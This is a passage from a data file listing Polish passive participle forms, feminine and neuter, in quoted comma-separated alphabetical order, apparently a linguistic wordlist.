urzona","zanużona","zaobaczona","zaobserwowana","zaoferowana","zaofiarowana","zaogniana","zaogniona","zaokrąglana","zaokrąglona","zaokrętowana","zaopatrywana","zaopatrzona","zaopiekowana","zaorana","zaostrzana","zaostrzona","zaoszczędzona","zapadana","zapakowana","zapalana","zapalona","zapamiętana","zapamiętywana","zapanowana","zaparkowana","zaparowywana","zaparzana","zaparzona","zapaskudzona","zapauzowana","zapchana","zapędzana","zapełniana","zapełniona","zaperfumowana","zapeszana","zapewniana","zapewniona","zapieczętowana","zapierana","zapięta","zapijana","zapinana","zapisana","zapisuwana","zapita","zapłacona","zapładniana","zaplamiona","zaplanowana","zaplątana","zapłodniona","zaplombowana","zapobiegana","zapodana","zapodawana","zapodziana","zapokojona","zapolowana","zapominana","zapomniana","zapowiadana","zapowiedziana","zapoznana","zapoznawana","zapożyczona","zapracowywana","zaprana","zaprasowywana","zapraszana","zaprawiona","zaprenumerowana","zaprezentowana","Zaprogramowana","zaprojektowana","zaproponowana","zaproszona","zaprotokołowana","zaprowadzana","zaprowadzona","zaprzątana","zaprzeczana","zaprzeczona","zaprzedana","zaprzedawana","zaprzęgana","zaprzepaszczana","zaprzestana","zaprzestawana","zaprzyjaźniona","zapudłowana","zapunktowana","zapuszczana","zapuszczona","zapuszkowana","zapychana","zapylana","zapylona","zapytana","zarabiana","zaranżowana","zarażana","zarażona","zarecytowana","zaręczana","zaręczona","zarejestrowana","zareklamowana","zarekomendowana","zarekomondowana","zarekwirowana","zarezerwowana","zarobiona","żartowana","zarwana","zaryglowana","zarymowana","zarysowana","zarywana","zaryzykowana","zarządzana","zarżnięta","zarzucana","zarzynana","zasadzona","zaścielona","zasegurowana","zaserwowana","zasiadana","zasiana","zasiedlona","zasięgana","zasięgnięta","zasiewana","zasilana","zasilona","zaskakiwana","zaskarbiona","zaskoczona","zaskrobana","zasłaniana","zaślepiana","zaślepiona","zasłodzona","zasłoniona","zasłużona","zasmakowana","zaśmiecana","zaśmiecona","zasmradzana","zasmrodzona","zasmucana","zasmucona","zasolona","zaspakajana","zaśpiewana","zaspokajana","zaspokojona","zasponsorowana","zaśrubowywana","zassana","zastana","zastąpiona","zastawiana","zastawiona","zastępowana","zastopowana","zastosowana","zastraszana","zastraszona","zastrzelona","zasugerowana","zasunięta","zasuwana","zaświadczona","zaświecona","zaświoniona","zasyfiona","zasygnalizowana","zasymilowana","zasymulowana","zasypana","zasypywana","zasysana","zaszachowana","zaszantażowana","zaszargana","zaszczepiana","zaszczepiona","zaszczuta","zaszczycana","zaszczycona","zaszeptana","zaszeregowana","zaszlachtowana","zasznurowana","zaszpachlowana","zasztyletowana","zaszufladkowana","zaszyfrowana","zaszyta","zaszywana","zataczana","zatajana","zatajona","zatamowana","zatankowana","zatapiana","zatargana","zatarta","zatelegrafowana","zatemperowana","zatęskniona","zatkana","zatknięta","zatoczona","zatonięta","zatopiona","zatracana","zatracona","zatriumfowana","zatrudniana","zatrudniona","zatruta","zatruwana","zatrzaskiwana","zatrzaśnięta","zatrząśnięta","zatrzymana","zatrzymywana","zatuszowana","zatwierdzana","zatwierdzona","zatykana","zatynkowana","zatytułowana","zauploadowana","zauroczona","zautomatyzowana","zauważana","zauważona","zawadzana","zawalana","zawalczona","zawalona","zawarta","zaważona","zawdzięczana","zawetowana","zawężona","zawiadamiana","zawiadomiona","zawiązana","zawiązywana","zawiedzona","zawierana","zawierzona","zawieszana","zawieszona","zawieziona","zawijana","zawinięta","zawiniona","zawiśnięta","zawitana","zawładnięta","zawłaszczona","zawodzona","zawojowana","zawołana","zawoskowana","zawożona","zawracana","zawrócona","zawstydzana","zażądana","zażartowana","zazdroszczona","zażegnana","zażenowana","zaznaczana","zaznajomiona","zaznana","zaznawana","zażyczona","zażyta","zażywana","zbaczana","zbadana","zbagatelizowana","zbajerowana","zbałamucona","zbalansowana","zbalsamowana","zbankrutowana","zbawiana","zbawiona","zbesztana","zbezczeszczona","zbierana","zbijana","zbita","zbliżona","zbluzgana","zbojkotowana","zbrojona","zbrukana","zbszczecona","zbudowana","zbudzona","zbuntowana","zburzona","zbyta","zbywana","zchwytana","zcięta","zciszona","zdana","zdarta","zdeaktywowana","zdecydowana","zdefiniowana","zdeflorowana","zdegradowana","zdejmowana","zdeklarowana","zdekodowana","zdekompresowana","zdekoncentrowana","zdekonstruowana","zdelegalizowana","zdemaskowana","zdementowana","zdemolowana","zdemontowana","zdemoralizowana","zdenerwowana","zdeponowana","zdeprymowana","zdeptana","zderzana","zderzona","zdestabilizowana","Zdetonowana","zdetronizowana","zdewastowana","zdewaulowana","zdezerterowana","zdezintegrowana","zdezorientowana","zdezynfektowana","zdiagnozowana","zdjęta","zdławiona","zdmuchiwana","zdmuchnięta","zdobyta","zdobywana","zdołowana","zdominowana","zdopingowana","zdrabniana","zdradzana","zdradzona","zdrapana","zdrapywana","zdrutowana","zdruzgotana","zduplikowana","zduszona","zdwojona","zdyscyplinowana","zdyskredytowana","zdyskwalifikowana","zdystansowana","zdzielona","zdzierana","zdzierżona","zdziesiątkowana","Zdzwoniona","zebrana","zechciana","zedytowana","żegnana","żeniona","zepchnięta","zepsuta","żerowana","zerwana","zerżnięta","zeskakiwana","zeskanowana","zeskrobywana","zesłana","ześlizgiwana","ześlizgnięta","zesmolona","zespawiana","zespolona","zessana","zestawiana","zestawiona","zestresowana","zestrzeliwana","zestrzelona","zeswatana","zeszklona","zeszlifowana","zetknięta","zezłoszczona","zeznana","zeznawana","zezwalana","zezwolona","zfinansowana","zgadana","zgadywana","zgajana","zganiona","zgarnięta","zgaśnięta","zgaszona","zgięta","zginana","zgładzona","zgłaszana","zgłębiana","zgłębiona","zgłośniona","zgłoszona","zgłuszona","zgniatana","zgnieciona","zgnita","zgnojona","zgodzona","zgolona","zgoniona","zgotowana","zgrabiona","zgrillowana","zgromadzana","zgromadzona","zgrupowana","zgrzeszona","zgrzytana","zgubiona","zgwałcona","zhackowana","zhakowana","zhańbiona","zhandlowana","zharmonizowana","zidentyfikowana","ziewana","zignorowana","zilustrowana","zinfiltrowana","zintegrowana","zintensyfikowana","zinterpretowana","zinwentaryzowana","zirytowana","zjadana","zjawiana","zjednana","zjednoczona","zjedzona","zjeżdżona","zkontaktowana","zkserowana","złączona","złagodzona","złajana","złamana","zlana","złapana","zlecana","zlecona","zlekceważona","zlepiana","zlepiona","zlewana","zlicytowana","zliczana","zliczona","zlikwidowana","zlinczowana","zlitowana","zlizana","zlizywana","złoita","zlokalizowana","złomowana","żłopana","złowiona","złożona","złupiona","złuszczana","zluzowana","zmacana","zmącona","zmagana","zmagazynowana","zmajstrowana","zmaksylizowana","zmanipulowana","zmarnowana","zmartwychwstana","zmarznięta","zmasakrowana","zmaterializowana","zmawiana","zmazana","zmazywana","zmbobardowana","zmiatana","zmiażdżona","zmiękczona","zmielona","zmieniana","zmieniona","zmierzana","zmierzona","zmierzwiona","zmieszana","zmieszczona","zmiksowana","zminiaturyzowana","zminimalizowana","zmniejszana","zmniejszona","zmobilizowana","zmoczona","zmodernizowana","zmodyfikowana","zmoknięta","zmonopolizowana","zmontowana","zmostkowana","zmotywowana","zmówiona","zmrożona","zmrużona","zmumifikowana","zmuszana","zmuszona","zmutowana","zmyślana","zmyta","zmywana","znacjonalizowana","znajdowana","znajdywana","znakowana","znaleziona","znana","znęcana","zneutralizowana","zniechęcona","znieczulona","zniekształcana","zniekształcona","znienawidzona","znieprawiona","zniesiona","zniesławiana","zniesławiona","zniewalana","znieważana","znieważona","zniewolona","zniszczona","zniweczona","zniwelowana","zniżana","zniżona","znokautowana","znormalniona","znoszona","znudzona","zobaczona","zobowiązana","zobrazowana","zogniskowana","żonglowana","zoomowana","zoperowana","zoptymalizowana","zorbita","zorganizowana","zorientowana","zostawiana","zostawiona","zpłacona","zprowokowana","zrabowana","zrachowana","zracjonalizowana","zraniona","zraportowana","zrażana","zrażona","zrealizowana","zrecenzowana","zredagowana","zredukowana","zreferowana","zreformowana","zrefowana","zrefundowana","zregenerowana","zrehabilitowana","zreinkarnowana","zreintegrowana","zrekonfigurowana","zrekonstruowana","zrekrutowana","zrekrystalizowana","zrelacjonowana","zrelaksowana","zremiksowana","zremisowana","zreorganizowana","zreperowana","zreplikowana","zresetowana","zresocjalizowana","zrestartowana","zrestrukturyzowana","zrewanżowana","zrewidowana","zrewolucjonizowana","zrezygnowana","zrobiona","zrolowana","zroszona","zrównana","zrównoważona","zrównywana","zróżnicowana","zrozumiana","zrugana","zruinowana","zrujnowana","zrymowana","zrywana","zrzędzona","zrzeszona","zrzucana","zrzucona","zsumowana","zsunięta","zsuwana","zsynchronizowana","zsyntetyzowana","zsypywana","zszargana","zszokowana","zszyta","zszywana","ztarta","żuta","zutylizowana","zużyta","zużywana","zwabiana","zwabiona","zwalana","zwalczona","zwalniana","zwalona","zwana","zwaporyzowana","zwątpiona","zważana","zważona","zwędzona","zwerbalizowana","zwerbowana","zweryfikowana","zwęszona","zwężona","zwiastowana","związana","związywana","zwichnięta","zwiedzana","zwiedzona","zwiększona","zwieńczona","zwierzana","zwieszana","zwieszona","zwietrzona","zwijana","zwilżona","zwinięta","zwizualizowana","zwlekana","zwodowana","zwodzona","zwołana","zwolniona","zwoływana","zwożona","zwracana","zwrócona","zwyciężana","zwymiotowana","życzona","żygana","zygzakowana","zyskana","zyskiwana","żyta","zżarta","zżerana","zżynana","zżyta","abdykowane","absorbowane","adaptowane","administrowane","adoptowane","adorowane","adresowane","afiszowane","agitowane","akcentowane","akceptowane","aklimatyzowane","akompaniowane","aktualizowane","aktywowane","akumulowane","alaromowane","alienowane","amerykanizowane","amortyzowane","amputowane","analizowane","angażowane","anihilowane","animowane","anonsowane","antropomorfizowane","antydatowane","anulowane","apelowane","aportowane","aranżowane","archiwizowane","aresztowane","argumentowane","artykułowane","ascendowane","asekurowane","asymilowane","asystowane","atakowane","autoryzowane","awanturowane","babrane","baczone","badane","bagatelizowane","bajerowane","bałamucone","balangowane","balansowane","banalizowane","bandażowane","bankrutowane","baraszkowane","barwione","bawione","bazgrane","bazowane","bębnione","bełkotane","besztane","biadolone","biczowane","bite","błagane","błaznowane","blefowane","błogosławione","blokowane","bluzgane","błyskane","błyszczące","boczone","bogacone","bojkotowane","boksowane","bombardowane","bopowane","borowane","brandzlowane","brane","brasowane","bratane","bredzone","brnięte","brodzone","bronione","brudzone","brylowane","budowane","budzone","bujane","bulone","bulwersowane","bumelowane","burzone","butelkowane","bywane","cackane","całowane","capnięte","cechowane","celebrowane","celowane","cenione","cenzurowane","chciane","chlane","chlapane","chlapnięte","chlastane","chłodzone","chlostane","chlubione","chodowane","chomikowane","chorowane","chowane","chronione","chrupane","chrzczone","chute","chwalone","chwycone","chwytane","chybotane","chylone","ciachnięte","ciągane","ciągnięte","ciemiężone","cierpiane","cieszone","cięte","ciskane","ciśnięte","ciułane","cmokane","cmoknięte","cofane","cofnięte","ćpane","cucone","cudzołożone","cumowane","ćwiartowane","ćwiczone","cykane","cytowane","czajone","czarowane","czczone","czepiane","czepione","czerpane","czesane","częstowane","czochrane","czołgane","czute","czytane","czyte","darowane","darte","darzone","datowane","dawane","dbane","deaktywowane","debatowane","dedukowane","dedykowane","defibrylowane","defilowane","definiowane","defraudowane","degradowane","degustowane","deklamowane","deklarowane","dekodowane","dekompresowane","dekorowane","dekretowane","delegowane","delektowane","deliberowane","demaskowane","dementowane","demolowane","demonizowane","demonstrowane","demoralizowane","denerwowane","denuncjowane","depeszowane","depilowane","deportowane","deprawowane","deptane","deratyzowane","destabilizowane","destylowane","desygnowane","determinowane","detonowane","dewastowane","dewaulowane","dezaktywowane","dezorientowane","dezynfekowane","diagnozowane","dilowane","dłubane","dłużone","dmuchane","dmuchnięte","dobiegane","dobierane","dobijane","dobite","dobrane","dobudzone","dobyte","doceniane","docenione","dochodzone","dochowane","dochowywane","dociągnięte","dociekane","docięte","docinane","dociskane","dociśnięte","doczekane","doczepione","doczołgane","doczyszczone","doczytane","dodane","dodawane","dodrukowane","dodrukowywane","dofinansowane","dofinansowywane","dogadane","dogadywane","dogadzane","doganiane","doglądane","doglądnięte","dognane","dogodzone","dogonione","dograne","dogryzane","dogryzione","dogrzane","dogrzebane","doinformowane","dojeżdżane","dojone","dojrzane","dojrzewane","dokańczane","dokarmiane","dokarmione","dokazane","dokazywane","dokładane","doklejone","dokonane","dokończone","dokonywane","dokopane","dokopywane","dokowane","dokręcane","dokręcone","dokształcane","dokształcone","dokuczane","dokumentowane","dokupione","dołączane","dołączone","doładowane","dolane","dolewane","doliczone","dołowane","dołożone","domagane","domalowane","domknięte","domniewywane","domówione","domyślane","domyślone","domyte","doniesione","donoszone","dopadane","dopadnięte","dopakowane","dopalone","dopasowane","dopasowywane","dopatrywane","dopatrzone","dopchane","dopchnięte","dopełniane","dopełnione","dopieszczone","dopięte","dopijane","dopilnowane","dopingowane","dopisane","dopisywane","dopite","dopłacane","dopłacone","dopłynięte","dopolerowane","dopompowane","dopowiedziane","dopracowane","dopracowywane","doprane","doprawione","doprecyzowane","doproszone","doprowadzane","doprowadzone","dopucowane","dopuszczane","dopuszczone","dopytywane","dorabiane","doradzane","doradzone","doręczane","doręczone","dorobione","dorównane","dorównywane","dorwane","dorysowane","dorzucane","dorzucone","doścignięte","dosiadane","dosięgnięte","doskoczone","doskonalone","dosładzane","dosłane","dosłyszane","dosolone","dośrodkowane","dossane","dostane","dostąpione","dostarczane","dostarczone","dostawane","dostawiane","dostawione","dostosowane","dostosowywane","dostrajane","dostrojone","dostrzegane","dosunięte","dosuwane","doświadczane","Doświetlone","dosypane","dosypywane","doszkolone","doszlifowane","doszorowane","doszukane","doszukiwane","doszyte","dotankowane","dotankowywane","dotargane","dotaszczone","dotknięte","dotlenione","dotłumaczone","dotowane","dotrwane","dotrzymane","dotrzymywane","dotykane","douczane","douczone","dowalone","dowiezione","dowodzone","dowożone","doznane","doznawane","dozorowane","dozowane","dożyte","dożywione","dramatyzowane","drapane","drapnięte","draśnięte","drażnione","drążone","dręczone","drenowane","drgane","drgnięte","drukowane","dryblowane","dryfowane","drzemane","dubbingowane","dublowane","duplikowane","duszone","dworowane","dygotane","dyktowane","dymane","dymione","dyrygowane","dyscyplinowane","dyskredytowane","dyskryminowane","dyskutowane","dyskwalifikowane","dysponowane","dystansowane","dystrybuowane","dywagowane","dźgane","dźgnięte","dziabnięte","dziedziczone","dziękowane","dzielone","dziergane","dzierżone","dziobane","dziurawione","dziurkowane","dźwigane","dźwignięte","edukowane","edytowane","egzaminowane","egzekutowane","egzekwowane","ekscytowane","ekshumowane","ekskomunikowane","eksmitowane","ekspandowane","eksperymentowane","eksploatowane","eksplorowane","eksponowane","eksportowane","eksterminowane","ekstradowane","ekstrapolowane","eliminowane","emancypowane","emanowae","emigrowane","emitowane","energetyzowane","eskortowane","etykietowane","ewakuowane","ewaluowane","fabrykowane","falowane","fałszowane","farbowane","faszerowane","faulowane","faworyzowane","fechtowane","fermentowane","ferowane","figurowane","filetowane","filmowane","filtrowane","finalizowane","finansowane","firmowane","fleszowane","folgowane","formułowane","forsowane","fotografowane","fundowane","gadane","ganiane","garbione","gardzone","garnirowane","gaszone","gawędzone","gaworzone","gazowane","gdakane","gderane","generalizowane","generowane","gięte","gilgotane","gładzone","głaskane","głodowane","głodzone","gloryfikowane","głosowane","głoszone","głowione","gmatwane","gmerane","gnane","gnębione","gniecione","gnite","gnojone","godzone","gojone","golnięte","golone","gonione","googlowane","gospodarowane","goszczone","gotowane","grabione","grane","grasowane","gratulowane","grillowane","grilowane","gromadzone","gromione","grożone","gruchane","gruchnięte","grupowane","grywane","gryzione","grzane","grzechotane","gubione","gustowane","gwałcone","gwarantowane","gwizdane","gwizdnięte","hackowane","haftowane","hajtnięte","hamowane","hańbione","handlowane","harcowane","harmonizowane","harowane","hartowane","hibernowane","hipnotyzowane","hodowane","holowane","hołubione","honorowane","hospitalizowane","huknięte","hulane","huśtane","idealizowane","identyfikowane","ignorowane","igrane","ilustrowane","imitowane","implantowane","implodowane","imponowane","importowane","improwizowane","indokrynowane","indukowane","infekowane","infiltrowane","informowane","ingerowane","inhalowane","inscenizowane","inspirowane","instalowane","instruowane","insynuowane","integrowane","interpretowane","interweniowane","intonowane","intubowane","inwestowane","inwigilowane","irytowane","iskrzone","izolowane","jadane","jawione","jazgotane","jednoczone","jedzone","kablowane","kadzone","kalane","kaleczone","kalkulowane","kamerowane","kamienowane","kamuflowane","kanalizowane","kantowante","kąpane","kapitulowane","kapowane","karane","karbonizowane","karcone","karczowane","karmione","kartkowane","kąsane","kasowane","kastrowane","katalogowane","katapultowane","katowane","katrupione","kierowane","kimane","kiszone","kiwane","kiwnięte","kłaniane","klapane","klapnięte","klarowane","klasyfikowane","klębione","klejone","klepane","klepnięte","klikane","kliknięte","klonowane","kłopotane","kłute","knocone","knute","kochane","koczowane","kodowane","kojarzone","kojfnięte","kojone","kolekcjonowane","kolektywizowane","kolidowane","kolonizowane","kolorowane","koloryzowane","kołowane","kołysane","kombinowane","komenderowane","komentowane","komercjalizowane","kompensowane","komplementowane","komplikowane","komponowane","kompromitowane","komunikowane","konane","koncentrowane","kończone","konfabulowane","konfiskowane","konfrontowane","konserwowane","konspirowane","konstruowane","konsultowane","konsumowane","kontaktowane","kontestowane","kontrastowane","kontrolowane","kontrowane","kontynuowane","kontynuuowane","konwertowane","konwojowane","koordynowane","kopane","kopcone","kopiowane","kopnięte","kopulowane","korelowane","korkowane","koronowane","korygowane","korzone","korzystane","koszone","kotwiczone","kozaczone","kozłowane","kpite","kradzione","krajane","krążone","kręcone","kremowane","kreowane","krochmalone","krojone","kropione","kruszone","krystalizowane","kryte","krytykowane","krzepnięte","krzyczane","krzyknięte","krzywdzone","krzywione","krzyżowane","kserowane","księgowane","kształcone","kształtowane","kulone","kultywowane","kumulowane","kupczone","kupione","kupowane","kupywane","kurczone","kurowane","kursowane","kurzone","kuszone","kute","kwalifikowane","kwestionowane","łączone","ładowane","łagodzone","łajdaczone","lakierowane","łamane","lamentowane","lansowane","lane","łapane","łaskotane","łaszone","latane","łatane","lawirowane","leczone","legalizowane","legitymowane","lekceważone","lepione","lewitowane","liberowane","licencjonowane","licytowane","liczone","likwidowane","linczowane","liniowane","literowane","litowane","lizane","liznięte","lobbowane","lokalizowane","losowane","łowione","łożone","lubiane","łudzone","lunatykowane","łupane","łupione","łuskane","lustrowane","łuszczone","luzowane","łykane","łyknięte","łyżeczkowane","macane","machane","machnięte","mącone","maczane","maganyzowane","maglowane","majaczone","majsterkowane","majtane","maksymalizowane","malowane","maltretowane","mamione","mamrotane","manewrowane","manifestowane","manipulowane","markowane","marnotrawione","marnowane","marszczone","marynowane","marznięte","masakrowane","maskowane","masowane","masturbowane","mataczone","materializowane","mawiane","mazane","maznięte","męczone","meldowane","merdane","metabolizowane","miażdżone","mielone","mierzone","mierzwione","mieszane","miętolone","migane","migdalone","migotane","mijane","miksowane","milowane","minięte","minimalizowane","miotane","mistyfikowane","mitygowane","mizdrzone","mlane","mniemane","mnożone","mobilizowane","mocowane","moczone","modelowane","modernizowane","modlone","modulowane","modyfikowane","molestowane","monitorowane","monopolizowane","montowane","mordowane","motywowane","mówione","mrożone","mrugane","mrużone","muskane","mutowane","mydlone","mylone","myszkowane","myte","nabazgrane","nabiegane","nabierane","nabite","nabrane","nabrojone","nabrudzone","nabyte","nabywane","nacelowane","nachapane","nachodzone","nachwalone","nachylone","naciągane","naciągnięte","nacierane","nacięte","nacinane","naciskane","naciśnięte","nacjonalizowane","naczepione","nadane","nadawane","nadchodzone","nadciągane","nadciągnięte","nadcięte","nadesłane","nadgonione","nadgryzane","nadgryzione","nadinterpretowane","nadłożone","nadmieniane","nadmienione","nadmuchane","nadrabiane","nadrobione","nadskakiwane","nadsłuchiwane","nadstawiane","nadstawione","nadszarpnięte","naduszone","nadużyte","nadużywane","nadwerężane","nadwyrężane","nadwyrężone","nadziane","nadzorowane","naelektryzowane","nafaszerowane","nagabywane","nagadane","nagięte","naginane","nagłaszane","nagłośnione","nagonione","nagradzane","nagrane","nagrodzone","nagromadzone","nagrywane","nagryzmolone","nagrzane","nagrzebane","nagrzewane","nagwizdane","naigrywane","najechane","najęte","najmowane","nakarmiane","nakarmione","nakazane","nakazywane","nakierowane","nakierowywane","nakładane","nakłamane","nakłaniane","naklejane","naklejone","naklepane","nakłonione","nakłute","nakłuwane","nakopane","nakręcane","nakręcone","nakreślane","nakreślone","nakruszone","nakryte","nakrywane","nakrzyczane","nakupione","naładowane","nalane","nałapane","nalepione","nalewane","naliczone","nałowione","nałożone","namaczane","namagnetyzowane","namalowane","namaszczane","namaszczone","namawiane","namęczone","namierzane","namieszane","namoczone","namówione","namydlane","namyślone","naniesione","naoliwiane","naoliwione","naopowiadane","naostrzone","napadane","napadnięte","napakowane","napalone","naparzane","napastowane","napawane","napchane","napędzane","napełniane","napełnione","napierane","napiętnowane","napięte","napinane","napisane","naplute","napływane","napoczęte","napojone","napompowane","napotkane","napotykane","napraszane","naprawiane","naprawione","naprężane","naprężone","napromieniowane","naprostowane","naprowadzane","naprowadzone","napsute","napuszczane","napuszczone","napychane","napytane","narąbane","naradzane","naradzone","narastane","narażane","narażone","nareperowane","narkotyzowane","narodzone","naruszane","naruszone","narwane","narysowane","narzucane","narzucone","nasączane","nasączone","nasadzone","nasiąkane","nasilane","nasilone","naskakiwane","naskoczone","naskrobane","naśladowane","nasłane","nasłuchane","nasłuchiwane","nasmarowane","nastąpione","nastawiane","nastawione","nastraszane","nastrojone","nastukane","nasunięte","nasuwane","naświetlane","nasycone","nasyłane","nasypane","naszczane","naszkicowane","naszpikowane","naszprycowane","naszykowane","naszyte","naszywane","natarte","natchnięte","natknięte","natlenione","natłuszczone","natrafione","natrząsane","natrząsnięte","nauczane","nauczone","nawadniane","nawalone","nawiązane","nawiązywane","nawiedzane","nawiedzone","nawiercone","nawiewane","nawiezione","nawigowane","nawijane","nawilżane","nawilżone","nawinięte","nawlekane","nawodnione","nawoływane","nawoskowane","nawożone","nawpychane","nawracane","nawrócone","nawrzucane","nawtykane","nawymyślane","nazbierane","nazmyślane","naznaczane","naznaczone","nazrywane","nazwane","nazywane","nęcone","negocjowane","negowane","nękane","neutralizowane","niańczone","niecierpliwione","niedoceniane","niedowidziane","nienawidzone","niesione","nikolone","niszczone","nitkowane","niuchane","niweczone","niwelowane","nokautowane","nominowane","notowane","nucone","numerowane","nurtowane","obaczone","obadane","obalane","obalone","obandażowane","obarczane","obarczone","obawiane","obchodzone","obciągnięte","obciążone","obcięte","obcinane","obcyndalane","obczajane","obczajone","obdarowane","obdarte","obdarzane","obdarzone","obdzielone","obdzierane","obdzwaniane","obdzwonione","obejmowane","oberwane","obessane","obezwładniane","obezwładnione","obfotografowane","obfotografowywane","obgadane","obgadywane","obgryzane","obgryzione","obiecane","obiecywane","obierane","obijane","obite","objadane","objaśniane","objawiane","objawione","objechane","objęte","objeżdżane","obkręcane","oblane","obłapiane","obłapywane","obłaskawiane","obłaskawione","obleciane","oblegane","oblewane","obliczane","obliczone","oblizane","obłowione","obłożone","obluzowane","obluzowywane","obmacane","obmacywane","obmawiane","obmyślane","obmyślone","obmyte","obmywane","obnażane","obniżane","obniżone","obnoszone","obowiązywane","obozowane","obrabiane","obrabowane","obracane","obradowane","obramowane","obraniane","obrane","obrastane","obrażane","obrażone","obrobione","obrócone","obrodzone","obronione","obrysowane","obrywane","obryzgane","obrzezane","obrzucane","obrzucone","obrzygane","obsadzane","obsadzone","obściskiwane","obserwowane","obsiane","obsikane","obsikiwane","obskakiwane","obskoczone","obskubane","obskubywane","obśliniane","obślinione","obsługiwane","obsłużone","obsmarowane","obstawiane","obstawione","obstrzeliwane","obsunięte","obsuwane","obsypane","obsypywane","obszukane","obszukiwane","obtaczane","obtarte","obtoczone","obudzone","obwąchane","obwąchiwane","obwiązane","obwiązywane","obwieszane","obwieszczane","obwieszczone","obwieszone","obwijane","obwiniane","obwinięte","obwołane","obyte","obżerane","ocalane","ocalone","ocechowane","oceniane","ocenione","ocenzurowane","ochładzane","ochlapane","ochlapywane","ochłodzone","ochłonięte","ochraniane","ochronione","ochrzaniane","ochrzczone","ociągane","ocielone","ocieplane","ocieplone","ocierane","ocknięte","ocucone","ocute","oczarowywane","oczekiwane","oczerniane","oczernione","oczyszczane","oczyszczone","odarte","odbębnione","odbetonowane","odbezpieczane","odbezpieczone","odbijane","odbite","odblokowane","odbudowane","odbudowywane","odbutowane","odbyte","odcedzane","odchorowane","odchowane","odchudzane","odchudzone","odchylane","odchylone","odciągane","odciągnięte","odciążone","odcierpione","odcięte","odcinane","odcisnięte","odcumowane","odcyfrowane","odcyfrowywane","odczarowane","odczekane","odczepiane","odczepione","odczute","odczuwane","odczynione","odczytane","odczytywane","oddalane","oddane","oddawane","oddelegowane","oddychane","oddzielane","oddzielone","odebrane","odegnane","odegrane","odejmowane","odepchnięte","oderwane","odeskortowane","odesłane","odespane","odessane","odetkane","odetnięte","odezwane","odfiltrowane","odgadnięte","odgadywane","odganiane","odgarniane","odgarnięte","odgięte","odgniatane","odgonione","odgradzane","odgrażane","odgrodzone","odgruzowane","odgrywane","odgryzane","odgryzione","odgrzane","odgrzebane","odgrzebywane","odgrzewane","odgwizdane","odhaczone","odholowane","odinstalowane","odizolowane","odjedzone","odjęte","odjonizowane","odkażane","odkażone","odkładane","odklejone","odkochane","odkodowane","odkodowywane","odkopane","odkopywane","odkorkowane","odkręcane","odkręcone","odkrojone","odkryte","odkrywane","odkupione","odkupywane","odkurzane","odkurzone","odkute","odłączane","odłączone","odłamywane","odlane","odlatywane","odlepiane","odlewane","odliczane","odliczone","odłożone","odłupane","odmachane","odmachiwane","odmalowane","odmarszczone","odmawiane","odmeldowane","odmieniane","odmienione","odmierzane","odmierzone","odmieszane","odmontowane","odmówione","odmrażane","odmrożone","odnajdowane","odnalezione","odnawiane","odniesione","odnoszone","odnotowane","odnotowywane","odnowione","odpakowane","odpakowywane","odpalane","odpalone","odpałzowane","odparowane","odparte","odpędzane","odpicowane","odpieczętowane","odpierane","odpięte","odpiłowane","odpiłowywane","odpinane","odpisane","odpisywane","odpłacane","odplamione","odplątane","odpłynięte","odpowietrzone","odpracowane","odpracowywane","odprasowane","odprawiane","odprawione","odprężane","odprostowane","odprowadzane","odprowadzone","odprute","odpryskane","odpukane","odpukiwane","odpuszczane","odpuszczone","odpychane","odrąbane","odrabiane","odrąbywane","odradzane","odradzone","odrapane","odrastane","odratowane","odreagowane","odremontowane","odrestaurowane","odrestaurowywane","odrobaczane","odrobione","odroczone","odrodzone","odrośnięte","odróżniane","odróżnione","odrysowane","odrywane","odrzucane","odrzucone","odsączane","odsączone","odsadzone","odseparowane","odsiadywane","odsiane","odsiewane","odsłaniane","odsłonięte","odsłuchane","odsłuchiwane","odsłużone","odśnieżane","odśnieżone","odsolone","odśpiewane","odsprzedane","odsprzedawane","odstąpione","odstawiane","odstawione","odstępowane","odstraszane","odstręczone","odstresowane","odstrzeliwane","odstrzelone","odsunięte","odsuwane","odświeżane","odświeżone","odsyłane","odsypywane","odsysane","odszczekane","odszczekiwane","odsztafirowane","odszukane","odszyfrowane","odszyfrowywane","odszykowane","odtrąbione","odtrącone","odtrute","odtwarzane","odtworzone","oduczone","odurzone","odwalane","odwalone","odwiązane","odwiązywane","odwiedzane","odwiedzone","odwieszone","odwiezione","odwijane","odwinięte","odwlekane","odwodnione","odwodzone","odwołane","odwoływane","odwożone","odwracane","odwrócone","odwzajemnione","odwzorowane","odżegnane","odziane","odziedziczone","odznaczane","odznaczone","odzwieciedlone","odzwierciedlane","odzwonione","odzwyczajone","odzyskane","odzyskiwane","odżyte","odzywiane","odżywione","oferowane","ofiarowane","ofiarowywane","ogarniane","ogarnięte","oglądane","ogłaszane","ogłoszone","ogłupiane","ogłupione","ogłuszone","ogołocone","ogolone","ograbiane","ograbione","ograniczane","ograniczone","ograne","ogrodzone","ogryzione","ogrzane","ogrzewane","okablowane","okaleczone","okantowane","okąpane","okazane","okazywane","okiełznane","okładane","okłamane","okłamywane","oklaskiwane","oklejone","oklepane","okopane","okopywane","okpione","okradane","okradzione","okraszone","okrążane","okrążone","okręcane","okręcone","określane","określone","okrojone","okryte","okrywane","okrzyknięte","okulawione","okupione","okupowane","olane","olewane","olśnięte","omamione","omawiane","omdlewane","omijane","ominięte","omotane","omówione","onanizowane","onieśmielane","onieśmielone","opadnięte","opakowane","opalane","opalone","opancerzone","opanowane","opanowywane","oparte","oparzone","opasane","opatentowane","opatrywane","opatrzone","opatulone","opchnięte","opędzane","opędzone","operowane","opętane","opętywane","opieczętowane","opiekowane","opierane","opijane","opisane","opisywane","opite","opłacane","opłacone","opłakane","opłakiwane","opłukane","oplute","opluwane","opływane","opodatkowane","opodatkowywane","oponowane","oporządzane","oporządzone","opowiadane","opowiedziane","opóźniane","opóźnione","opracowane","opracowywane","oprawiane","oprawione","oprowadzane","oprowadzone","opróżniane","opróżnione","opryskane","opryskiwane","opublikowane","opukane","opuszczane","opuszczone","opychane","opylone","orane","orbowane","organizowane","orientowane","oroszone","orzekane","orżnięte","osaczane","osaczone","osadzane","osądzane","osadzone","osądzone","oscylowane","osiadane","osiągane","osiągnięte","osiedlane","osiedlone","osiedzone","osierocone","osiodłane","oskalpowane","oskarżone","oskrobane","oskrzydlane","oskrzydlone","oskubane","oskubywane","osłabiane","osłabione","oślepiane","oślepione","oślepnięte","ośliniane","osłodzone","osłonione","osłuchane","osmalone","ośmielone","ośmieszane","ośmieszone","ostrzegane","ostrzelane","ostrzelite","ostrzone","ostudzone","osunięte","osuszane","osuszone","osuwane","oswajane","oświadczane","oświadczone","oświecane","oświecione","oświetlane","oświetlone","oswobadzane","oswobodzone","oswojone","oszacowane","oszałamiane","os